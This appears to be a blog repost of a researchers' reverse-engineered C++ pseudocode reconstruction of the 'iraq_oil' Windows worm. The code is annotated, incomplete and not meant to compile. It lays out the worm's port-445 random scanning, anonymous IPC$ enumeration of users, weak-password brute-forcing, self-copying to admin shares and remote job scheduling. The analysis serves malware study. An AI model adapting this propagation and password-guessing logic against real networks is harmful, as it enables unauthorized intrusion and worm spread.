Merry Christmas

445 port bruteforce

네트워크 2011. 5. 27. 13:48 |

/*
 * $Id: //websites/unixwiz/newroot/iraqworm/iraqworm.cpp#5 $
 *
 * Reverse engineered by a collaboration of:
 *
 * - Lawrence Baldwin - http://www.mynetwatchman.com
 * - Philip Sloss - security researcher
 * - Steve Friedl - security researcher
 *
 * Main page for this reverse engineering:
 *
 * http://www.unixwiz.net/iraqworm/
 *
 * =========================================================
 * THIS IS NOT COMPLETE - I'M WORKING ON IT AS YOU READ THIS
 *
 * THE CODE IS NOT MEANT TO COMPILE EITHER
 * =========================================================
 *
 * We used the outstanding IDA Pro disassembler on the binary, and the
 * regenerated C++ code was done by hand. This code does NOT compile: it's
 * mainly meant to be pseudocode to allow for analyis, and we have spent
 * zero time to insure that the code is even strictly legal C++. In no
 * case are we using the object features of C++, but we do like some of
 * the "better C" facilities.
 *
 * It's our belief that the code was somewhat optimized, and this makes
 * it a bit more difficult to reverse some of the loop control (which
 * is complicated by the sometimes bogus logic in the code itself). So
 * we use "goto" simply because it's easier for now. We don't write real
 * code this way.
 *
 * We use "NOTE" to call attention to bugs or oddities in the code.
 *
 * REFERENCES
 * ----------
 *
 * my Net Watchman - http://www.mynetwatchman.com
 *
 * IDA Pro Disassembler - http://www.datarescue.ecom
 *
 * Steve Friedl - http://www.unixwiz.net
 */
#include <windows.h>
#include <lm.h>
#include <string.h>

#define NTHREADS 100

/*------------------------------------------------------------------------
 * We load NETAPI32.DLL at runtime, and these are the vars that hold the
 * pointers to the functions.
 */
static int (*pfNetUserEnum)()       = 0;
static int (*pfNetRemoteTOD)()      = 0;
static int (*pfNetApiBufferFree)()  = 0;
static int (*pfNetScheduleJobAdd)() = 0;


static char MyFilename[260];
static char NullPassword[] = "";

static const char *PasswordTable[] = {
 NullPassword,
 "admin",
 "super",
 "root",
 "111",
 "123",
 "1234",
 "123456",
 "654321",
 "1",
 "!@#$",
 "asdf",
 "asdfgh",
 "!@#$%",
 "!@#$%^",
 "!@#$%^&",
 "!@#$%^&*",
 "server",

 NULL  // ENDMARKER
};

/*
 * WinMain() [COMPLETE]
 *
 * This is the main entry point to the program, and it's clearly
 * not a console-mode app. It uses no parameters, and the main
 * function just launches all the threads after setup. This never
 * exits.
 */

int __stdcall WinMain( HINSTANCE hInst,
                       HINSTANCE hPreInst,
                       LPSTR lpszCmdLine,
                       int nCmdShow )
{

 GetModuleFilename(NULL, MyFilename, sizeof MyFilename);

 /*----------------------------------------------------------------
  * GET NETWORK API ENTRY POINTS
  *
  * We are using the NETAPI32 to perform remote management, but this
  * is not bound with the EXE itself. This means we have to load it
  * at runtime and extract the four functions we care about. It's an
  * error if any of the entry points cannot be found.
  */
 HMODULE h;

 if ( (h = LoadLibrary("NETAPI32.DLL")) = 0 )
  exit(EXIT_SUCCESS);

 pfNetScheduleJobAdd = GetProcAddress(h, "NetScheduleJobAdd");
 pfNetApiBufferFree  = GetProcAddress(h, "NetApiBufferFree");
 pfNetRemoteTOD      = GetProcAddress(h, "NetRemoteTOD");
 pfNetUserEnum       = GetProcAddress(h, "NetUserEnum");

 if ( pfNetScheduleJobAdd == 0
   || pfNetApiBufferFree  == 0
   || pfNetRemoteTOD      == 0
   || pfNetUserEnum       == 0 )
 {
  exit(EXIT_SUCCESS);
 }

 srand( GetTickCount() ); // initialize random number generator

 /*----------------------------------------------------------------
  * INIT WINSOCK
  *
  * We always must initialize the Winsock library, but the 0xFFFF is
  * the "versions" parameter, and we're not sure what "0xFF" does to
  * this. Presumably it asks for the newest possible Winsock.
  */
 WSAData wdata;

 WSAStartup(0xFFFF, &wdata); // ===NOTE: unusual version requested

 DWORD threadID[NTHREADS], // LAME: these are set but never used
  *ptid = threadID;

 for ( int threadcount = NTHREADS; threadcount > 0; threadcount-- )
 {
  CreateThread( 0,  // lpThreadAttributes
                0,  // dwStackSize
                ThreadEntry, // entry-point function
                0,  // lpParameter
                0,  // dwCreationFlags
                ptid++ );  // ThreadID
 }

 Sleep( INFINITE );

 exit( EXIT_SUCCESS ); // don't ever get here
}

/*
 * get_random_32() [COMPLETE]
 *
 * This returns a random 32-bit number that's created from a pair
 * of random 16-bit numbers.
 *
 * NOTE: since _rand() returns 0..0x7FFF, the return from this
 * function contains only 30 bits of randomness, and it will never
 * be above 0x7FFF7FFF.
 *
 * BUT: if this is going to an IP address, it has to be converted
 * from "host" order to "network" order, and this turns it into
 *
 *  0xFF7FFF7F
 *
 * So two of the bits won't ever be set, and this means that any
 * IP address with a second or fourth octet of 128..255 should not
 * see any activity.
 */
static long get_random_32(void)
{
 return (_rand() << 16) + _rand();
}

/*
 * testconnect() [COMPLETE]
 *
 * Given a random IP address, try to connect to port 445 of it,
 * waiting until we have write enable on it. In no case do we
 * do any actual I/O to the other end - we're just looking for
 * those with ports open.
 */
static int testconnect(unsigned long random32)
{

 int fd = socket(AF_INET, SOCK_STREAM, 0);

 if ( fd == INVALID_SOCKET )
  return -1;

 struct sockaddr_in remoteaddr;

 remoteaddr.sin_family = AF_INET;
 remoteaddr.sin_port   = htons(445);
 remoteaddr.sin_addr   = random32; // no host/net conversion

 // make the socket non-blocking

 int arg = 1;
 ioctlsocket(fd, FIONBIO, &arg);

 connect(fd, &remoteaddr, sizeof remoteaddr); // NOTE: no error check

 // we're only waiting for write-available on the socket

 fd_set wfds;

 wfds.fd_array[0] = fd;
 wfds.fd_count    = 1;

 // waiting up to five seconds
 struct timeval timeout;

 timeout.tv_sec  = 5;
 timeout.tv_usec = 0;

 int n = select(
  0,  // # of FDs to wait for
  NULL,  // read FDs
  &wfds,  // write FDs
  NULL,  // exception FDs
  &timeout); // timeout

 closesocket(fd);

 return n > 0;  // not sure if this is the proper compar
    // I'm really lame with CPU flags :-(
}

/*
 * ThreadEntry() [COMPLETE]
 *
 * This is the main entry point for each of the 100 (or so)
 * threads. The only purpose is to randomly try to infect
 * remote systems. We do a simple test connect() to port 445/tcp
 * to see if it's open, and if so, we then try the more detailed
 * probing via the NET functions.
 *
 * This function never returns, nor does it use the parameter.
 */
static void ThreadEntry(DWORD param)
{
 while ( TRUE )
 {
  unsigned long ipaddr = get_random_32();

  if ( testconnect(ipaddr) )
  {
  char UNCname[52];  // NOTE: why 52? only need 17

   sprintf(UNCname, "\\\\%s", inet_ntoa(ipaddr));

   attackhost(UNCname);
  }
 }
}

/*
 * attackhost() [**INCOMPLETE**]
 *
 * Given the \\IPADDRESS of a remote host that is known to have
 * port 445/tcp open, try to infect it. We enumerate all the users
 * found there, then try to connect to each one with a series of
 * passwords.
 *
 * This function seems to return success/failure status, but the
 * caller doesn't care about it.
 */
void attackhost(const char *uncname)
{
wchar_t  WideServerName[500];
char  MultiByteStr[300];
char  IPCbuf[200];
char  *bufptr = 0;
NETRESOURCE NetResource;
DWORD  EntriesRead  = 0;
DWORD  TotalEntries = 0;
DWORD  ResumeHandle = 0;

 /*----------------------------------------------------------------
  * The wide server name is required for NetUserEnum, and we need
  * the IPC$ to make our in initial anonymous connection
  */
 MultiByteToWideChar(
  0,   // code page
  0,   // dwFlags
  uncname,  // lpMultiByteString
  -1,   // length (-1 means look for NUL)
  WideServerName,  // wide buffer
  1000 );   // BUG: should be 500, not 1000

 sprintf(IPCbuf, "%s\\ipc$", uncname);

 NetResource.lpLocalName  = NULL;
 NetResource.lpProvider   = NULL;
 NetResource.dwType       = RESOURCETYPE_ANY;
 NetResource.lpRemoteName = IPCbuf;

 if ( WNetAddConnection2(
  &NetResource,
  NullPassword,   // "" - anonymous
  NullPassword,   // "" - anonymous
  0 ) != NO_ERROR )  // flags
 {
  // 0 = don't update profiles
  //  1 = "force" the disconnect
  WNetCancelConnection2( IPCBuf, 0, 1 );

  return FALSE;
 }

 /*----------------------------------------------------------------
  * Now enumerate the
  */
 while ( TRUE )
 {
  NET_API_STATUS rc = NetUserEnum(
   ServerName,  // \\MACHINE (in Unicode)
   0,   // level: USER_INFO_0
   FILTER_NORMAL_ACCOUNT, // no "wierd" users
   &bufptr,  //
   MAX_PREFERRED_LENGTH, // (-1) length
   &EntriesRead,
   &TotalEntries,
   &ResumeHandle );

  if ( rc != NERR_Success && rc != ERROR_MORE_DATA )
   goto got_error;
 
  userindex = 0;

  .... MORE HERE

got_error: if ( bufptr != NULL )
  {
   NetApiBufferFree(bufptr);
   bufptr = NULL;
  }

  if ( rc == ERROR_MORE_DATA )
  {
   continue
  }
 }

 return 0;
}

/*
 * bruteuser() [COMPLETE]
 *
 * Given a user name (from NetUserEnum) and the string IP address
 * of the remote user, attempt to run through our table of passwords.
 * Upon success, stop and return success to the caller so that we
 * need not try *more* users.
 */
int __cdecl bruteuser(const char *username, const char *remotename)
{
 /*----------------------------------------------------------------
  * NOTE: since this is a static symbol, there is no way it could
  * be NULL. ???
  */
 if ( PasswordTable == NULL )
  return FALSE;

 for ( const char **pTable = PasswordTable; *pTable; pTable++ )
 {
  if ( attackuser(username, *pTable, remotename) == TRUE )
   return TRUE;
 }

 return FALSE;
}

/*
 * attackuser() [COMPLETE]
 *
 * Given a username and password, plus the remote server, try to
 * attack the system with that information.
 *
 * LAME: the caller of this function has the remote machine name in
 * the full \\ UNC format, but for some reason it calls us without the
 * leading slashes. Then this function adds them right back - twice.
 * This looks bogus.
 *
 * The return value seems to be TRUE if the caller should stop
 * iterating over the password list, so it generally mean that we
 * have successfully guessed the password and shouldn't bother
 * trying any more.
 */
int attackuser(const char *username, const char *passwd, const char *remotename)
{
 /*----------------------------------------------------------------
  * MAKE CONNECTION
  *
  * Try to connect to the remote system.
  */
 char server_name1[52];

 sprintf(server_name1, "\\\\%s", remotename);

 _NETRESOURCE netresource;

 memset(&netresource, 0, sizeof netresource);

 netresource.lpRemoteName = server_name1;
 netresource.dwType       = RESOURCETYPE_DISK; // 1
 netresource.lpLocalName  = NULL;
 netresource.lpProvider   = NULL;

 int rc = WNetAddConnection(&netresource, passwd, username, 0);

 // this doesn't look right: if it's unsuccessful, we shouldn't
 // really care for the reason. Why the multiple tests when the
 // last one should be completely sufficient?

 if ( rc == ERROR_ALREADY_ASSIGNED
   || rc == ERROR_DEVICE_ALREADY_REMEMBERED
   || rc != NERR_Success )
 {
  rc = FALSE; // "keep going"
  goto done;
 }

 rc = TRUE; // we connected, so no need to try more passwords

 /*----------------------------------------------------------------
  * CREATE NAMES
  *
  * There are two shares we try to reference on the remote system,
  * and both names are created here.
  *
  * ===NOTE: a fair amount of this seems really pointless. for
  * one thing, "server_name1" already exists with the same data
  * that server_name2 is created with, so we have no idea they are
  * doing it this way.
  *
   * Second, since this program is effectively limited to Unicode-
  * based platforms anyway, why not just use wsprintf?
  *
  * wsprintf(admin_share_name,
  *  L"\\\\%S\\Admin$\\system32\\iraq_oil.exe",
  *  remotename);
  *
  * wsprintf(cdrive_share_name,
  *  L"\\\\%S\\C$\\winnt\\system32\\iraq_oil.exe",
  *  remotename);
  *
  * The "%S" means to use the opposite charsize, so for wsprintf,
  * it means the source string is regular sized instead of wide.
  */
 char server_name2     [52];
 char admin_share_name [260];
 char cdrive_share_name[260];
 wchar_t wide_server_name [100];

 sprintf(server_name2, "\\\\%s", remotename); // NOTE: why do this again? ? ?

 sprintf(admin_share_name,  "%s\\Admin$\\system32\\iraq_oil.exe",   server_name2);
 sprintf(cdrive_share_name, "%s\\c$\\winnt\system32\\iraq_oil.exe", server_name2);

 MultiByteToWideChar(
  0,   // code page
  0,   // flags
  server_name2,  // multibyte source string
  -1,   // mb length (-1 = look for NUL)
  wide_server_name, // wide destination string
  200);   // ERROR: should be 100 wchar's

 /*----------------------------------------------------------------
  * Get the time of day on the remote server. This will be used to
  * schedule the "job" to run later. If we cannot get the time now,
  * we have no hope later so we return TRUE to say "no more".
  */
 TIME_OF_DAY_INFO *pTOD = 0;

 if ( NetRemoteTOD(wide_server_name, &pTOD) != NERR_Success
   || pTOD == NULL )
 {
  goto done; // returning TRUE
 }

 /*----------------------------------------------------------------
  * Try to copy to the remote system, and we'll take the first
  * copy that works, bypassing the rest.
  */

 if ( ! CopyFile(MyFilename, admin_share_name,  FALSE)
   && ! CopyFile(MyFilename, cdrive_share_name, FALSE) )
 {
  /*--------------------------------------------------------
   * ===NOTE: memory leak here - the TIME_OF_DAY_INFO
   * object is still allocated, but we jump *past*
   * the release point.
   */
  goto done; // returning TRUE
 }

 /*----------------------------------------------------------------
  * SCHEDULE A JOB
  *
  * This first manipulates the time of day as fetched from the
  * remote server to get us a time to run the job. All the time
  * info is in GMT, but the AT_INFO JobTime must be in minutes
  * "local" time - this makes it tricky. In any case, we schedule
  * the job to run two minutes from now.
  *
  * The code in the original worm uses what looks like a bizarre
  * algorithm for getting the jobtime, and we're not really sure
  * why it works. Our preference is to work off of the UNIX time
  * and ignore the rest.
  *
  * Note that the tod_timezone could be "-1", which means that
  * it's unknown. This treats the remote as being one minute
  * east of GMT.
  *
  * DWORD jobtime;
  *
  * jobtime  = p->tod_elapsedt / 60; // GMT minutes since epoch
  * jobtime += p->tod_timezone;  // convert to localtime
  * jobtime += 2;    // 2 mins in the future
  * jobtime %= (24 * 60);   // truncate "day" part
  *
  *
  * atinfo.JobTime = jobtime * 60 * 1000;
  */
 DWORD jobtime = abs(p->tod_timezone)
               +    (p->tod_hours * 60)
               +     p->tod_mins
               +     2;

#define DAY_OF_MINUTES (24*60)

 if ( jobtime > DAY_OF_MINUTES)
  jobtime -= DAY_OF_MINUTES;

 AT_INFO atinfo;

 memset(&atinfo, 0, sizeof atinfo);

 atinfo.JobTime = jobtime * 60 * 1000; // one minute of milliseconds
 atinfo.Command = L"iraq_oil.exe"; // Unicode

 DWORD jobid; // value unused

 NetScheduleJobAdd( wide_server_name, // the system to infect
                    &atinfo,
                    &jobid );

 NetApiBufferFree(pTOD);

 /*----------------------------------------------------------------
  * EXIT THE FUNCTION
  *
  * This is how all paths exit this function, and we always make a
  * point to disconnect the share even if we were not able to connect
  * it in the first place. This seems questionable.
  */
done:

 WNetCancelConnection2(server_name1, TRUE); // TRUE = force disconenct

 return rc;
}


 

: